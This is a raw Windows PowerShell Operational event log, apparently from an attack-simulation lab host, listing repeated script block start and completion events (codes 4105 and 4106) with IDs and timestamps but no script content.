Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046491
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046489
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046488
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046471
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046465
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
